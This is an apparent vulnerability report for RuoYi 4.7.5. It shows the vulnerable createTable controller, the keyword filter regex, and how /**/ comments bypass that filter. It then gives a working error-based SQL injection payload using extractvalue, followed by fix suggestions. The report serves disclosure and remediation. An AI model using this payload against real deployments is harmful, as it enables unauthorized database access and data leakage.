ruoyi-4.7.5-sqli-vuln-poc[BUG]

## ruoyi-4.7.5 后台sql注入漏洞poc
com/ruoyi/generator/controller/GenController 下/tool/gen/createTable路由存在sql注入。
```
@RequiresRoles("admin")
@Log(title = "创建表", businessType = BusinessType.OTHER)
@PostMapping("/createTable")
@ResponseBody
public AjaxResult create(String sql)
{
    try
    {
        SqlUtil.filterKeyword(sql);
        List<SQLStatement> sqlStatements = SQLUtils.parseStatements(sql, DbType.mysql);
        List<String> tableNames = new ArrayList<>();
        for (SQLStatement sqlStatement : sqlStatements)
        {
            if (sqlStatement instanceof MySqlCreateTableStatement)
            {
                MySqlCreateTableStatement createTableStatement = (MySqlCreateTableStatement) sqlStatement;
                if (genTableService.createTable(createTableStatement.toString()))
                {
                    String tableName = createTableStatement.getTableName().replaceAll("`", "");
                    tableNames.add(tableName);
                }
            }
        }
        List<GenTable> tableList = genTableService.selectDbTableListByNames(tableNames.toArray(new String[tableNames.size()]));
        String operName = Convert.toStr(PermissionUtils.getPrincipalProperty("loginName"));
        genTableService.importGenTable(tableList, operName);
        return AjaxResult.success();
    }
    catch (Exception e)
    {
        logger.error(e.getMessage(), e);
        return AjaxResult.error("创建表结构异常[" + e.getMessage() + "]");
    }
}
```

这段代码可以用过/**/绕过关键字
```
public static String SQL_REGEX = "select |insert |delete |update |drop |count |exec |chr |mid |master |truncate |char |and |declare ";
```
由于这段代码会将错误信息回显
```
logger.error(e.getMessage(), e);
        return AjaxResult.error("创建表结构异常[" + e.getMessage() + "]");
```
poc
```
sql=CREATE table ss1 as SELECT/**/* FROM sys_job WHERE 1=1 union/**/SELECT/**/extractvalue(1,concat(0x7e,(select/**/version()),0x7e));
```
![vuln-poc](https://img-blog.csdnimg.cn/130467dd6fb24f868fbe5668a2b4bd9c.png)
        
## 参考链接
https://github.com/luelueking/ruoyi-4.7.5-vuln-poc/edit/main/README.md

## 修复意见
- 把过滤关键词中的空格去掉
- 对异常处理中的返回信息进行修改，不直接返回e.getMessage()，对报错信息进行抽象以避免报错注入

## 报告人
@luelueking

GVP 若依/RuoYi

Content Risk Flag

Comments (2)

GVP若依/RuoYi

Content Risk Flag